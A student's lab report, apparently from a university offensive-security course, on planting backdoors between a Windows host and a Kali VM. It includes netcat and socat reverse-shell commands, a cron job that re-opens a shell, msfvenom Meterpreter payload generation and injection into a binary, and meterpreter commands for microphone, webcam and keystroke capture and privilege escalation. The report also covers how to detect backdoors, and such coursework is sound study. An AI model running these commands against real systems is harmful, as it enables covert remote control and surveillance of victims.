# 20222309 2024-2025-1 《網路與系統攻防技術》實驗二實驗報告

泉hiahia發表於2024-10-20

1.實驗內容

1、實驗目標

(1)使用netcat獲取主機操作Shell,cron啟動某項任務(任務自定)
PS:cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序
(2)使用socat獲取主機操作Shell, 任務計劃啟動
(3)使用MSF meterpreter(或其他軟體)生成可執行檔案(後門),利用ncat或socat傳送到主機並執行獲取主機Shell
(4)使用MSF meterpreter(或其他軟體)生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容的後門,並嘗試提權
(5)使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連線Shell。

2、相關問題

(1)例舉你能想到的一個後門進入到你係統中的可能方式?
訪問不安全的網站下載軟體時,可能攜帶惡意程式碼。
(2)例舉你知道的後門如何啟動起來(win及linux)的方式?
windows:
隨系統啟動項啟動:惡意程式可以將自身新增到登錄檔的啟動項中,如 “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” 等位置。這樣在系統啟動時,惡意後門程式就會自動執行。也可以利用系統的 “啟動” 資料夾,將快捷方式放入其中,實現隨系統啟動。
利用系統服務啟動:惡意軟體可以偽裝成一個系統服務,透過修改服務配置,使其在系統啟動時自動啟動。
驅動程式載入:惡意後門可以偽裝成裝置驅動程式,在系統啟動時被載入。
linux:
開機啟動指令碼:惡意程式可以將自身的啟動命令新增到系統的啟動指令碼中,如 /etc/rc.local 或各個執行級別對應的啟動目錄中。這樣在系統啟動時,後門程式就會被執行。也可以透過修改 cron 定時任務,在特定時間啟動後門程式。
核心模組載入:惡意軟體可以編寫核心模組,透過載入核心模組的方式在系統啟動或執行過程中啟動後門。
(3)Meterpreter有哪些給你映像深刻的功能?
它在目標系統上執行時通常非常隱蔽,難以被常規的安全防護軟體檢測到。它可以在記憶體中執行,不留下明顯的檔案痕跡。具備眾多強大的功能,可用於資訊收集、許可權提升、橫向滲透等。例如,可以獲取系統資訊,包括作業系統版本、網路配置等;還可以抓取密碼、鍵盤記錄等敏感資訊。可以透過載入擴充套件模組來實現更多特定的功能,以適應不同的攻擊場景和目標需求。
Meterpreter透過利用目標系統的漏洞,由 Metasploit 框架進行攻擊後在目標系統上生成並執行。一旦在目標系統上成功啟動,攻擊者就可以透過控制端與 Meterpreter 進行互動,執行各種惡意操作。
(4)如何發現自己有系統有沒有被安裝後門?
檢視系統異常行為,比如在沒有執行大型軟體的情況下,系統變得十分緩慢。
檢查網路流量,看是否有不明的網路連線或異常高的網路流量。
檢查檔案完整性,觀察檔案是否被改變。
檢查程序,觀察是否有不明程序。
觀察系統日誌,觀察是否有異常記錄。
使用防毒軟體,漏洞掃描工具,ids和ips進行檢測。

2.實驗過程

1、使用netcat獲取主機操作Shell,cron啟動某項任務

在windows主機上開啟cmd,輸入ipconfig指令檢視主機的IP地址:192.168.3.53

Win主機輸入指令:ncat.exe -l -p 8888
win主機輸入ls,若能夠正常顯示虛擬機器下檔名,證明主機已成功獲取虛擬機器shell。

Linux虛機輸入指令:nc 192.168.3.53 8888 -e /bin/sh

cron是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護程序。
我們在虛擬機器輸入crontab -e (執行文字編輯器來設定時程表),選擇的是2:/usr/bin/vim.basic;

輸入後進入文字編輯器,輸入指令30 * * * * /bin/netcat 192.168.3.53 8888 -e /bin/sh

編輯好後退出文字編輯器,輸入crontab -l檢視時程表:

在Linux主機中的/var/spool/cron/crontabs檔案中會出現一個root檔案。

回到Windows主機的cmd中進行操作,還是一樣與Linux建立連線之後,輸入輸入:echo "* * * * * echo "20222309" > /home/kali/zyq20222309.txt" > /var/spool/cron/crontabs/root

進入Linux虛擬機器進入對應路徑檢查zyq20222309.txt檔案,發現修改成功。

2、使用socat獲取主機操作Shell,任務計劃啟動

windows主機:下載socat,cmd進入socat資料夾,輸入命令:socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr

Linux虛擬機器:進入root使用者,輸入命令:socat - tcp:192.168.3.53:8888

回到主機,我們需要事先準備一個程式以供執行,程式碼如下:

#include <stdio.h>
#include <stdlib.h>
int main()
{
    FILE *file = fopen("zyq.txt","w");
    char *str = "20222309";
    if(file == NULL)
    {
        printf("Error opening file\n");
        return 1;
    }
    fprintf(file,"%s",str);
    fclose(file);
    return 0;
}

在Linux上啟用Windows的程式,透過命令列建立任務計劃,在shell裡輸入命令:schtasks /create /sc minute /mo 1 /tn "zyq20222309" /tr D:\zyqc\zyq20222309.exe

回到windows主機,開啟計算機管理,看到正在執行的任務名“zyq20222309”,說明實驗成功。

3、在Linux下使用MSF meterpreter生成可執行檔案,利用ncat或socat傳送到Windows主機並執行獲取主機shell

首先在kali中輸入ifconfig,獲得虛擬機器的IP地址:

虛擬機器的IP地址是192.168.3.63
繼續中輸入以下命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.63 LPORT=8888 -f exe > 2309backdoor.exe

主機進入ncat所在目錄下,輸入指令:ncat.exe -lv 8888 > "D:\2309backdoor.exe"

虛擬機器上輸入指令:nc 192.168.3.53 8888 < 2309backdoor.exe

Win主機接收到後門檔案2309backdoor.exe,成功在D盤找到檔案

回到虛擬機器,在Kali終端輸入命令msfconsole,然後對監聽模組進行配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.3.53
set LPORT 8888
接著輸入exploit,使監聽模組開始執行,並在Windows終端執行後門2309backdoor.exe檔案

返回檢查虛擬機器,輸入ls檢視windows主機目錄,確認已經連線。

4、使用MSF meterpreter生成獲取目標主機音訊、攝像頭、擊鍵記錄等內容,並嘗試提權

在exploit模組中繼續輸入以下命令:
record_mic   (音訊)
screenshot   (截圖)
webcam_snap (拍照)
keyscan_start (開始讀取鍵盤記錄)
keyscan_dump (讀取鍵盤記錄結束)
音訊截圖和拍照被儲存在root文件中,鍵盤記錄的字串將直接顯示在命令欄上

確保windows的cmd指令是使用管理員身份執行的,繼續在exploit模組中繼續輸入:
getuid (檢視當前使用者)
getsystem (提權指令)

5、使用MSF生成shellcode,注入到實驗1中的pwn1中,獲取反彈連線Shell

在kali命令列下輸入:Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.119 LPORT=8888 -x /root/Desktop/pwn1 -f elf > 2309_pwn

對生成的2309_pwn檔案賦予許可權:

輸入指令msfconsole,重現監聽過程,開啟另一個shell,執行生成的2309_pwn檔案,回到第一個shell,輸入ls確認連線,成功實現遠端控制shell

3.問題及解決方案

  • 問題1:在進行提權的時候,無法成功提權。
  • 問題1解決方案:使用管理員許可權執行後門程式,之後重新竊聽即可提權。
  • 問題2:在進行反注入時,執行程式時提示段錯誤。
  • 問題2解決方案:反注入時配置的payload未統一,將其統一後能夠成功執行。
  • 問題3:注入後門時無法成功連線。
  • 問題3解決方案:由於實驗做到一半停了,ip地址發生了改變,注入時的地址跟著改變即可。

4.學習感悟、思考等

在本次實驗中,我學習使用了ncat,socat和MSF meterpreter等工具,接觸了控制shell和遠端掌控主機的技巧,經過本次實驗我對於後門程式有了更深入的理解,從攻擊的角度反推防範手段,增強了我對於後門程式的防範意識。在實驗中,我也遇到了一些困難,如ip地址的改變,如linux命令以及meterpreter命令使用不熟練,如對於許可權的理解不夠深刻,這些遇到的困難,在解決的過程中,也讓我收穫滿滿。

相關文章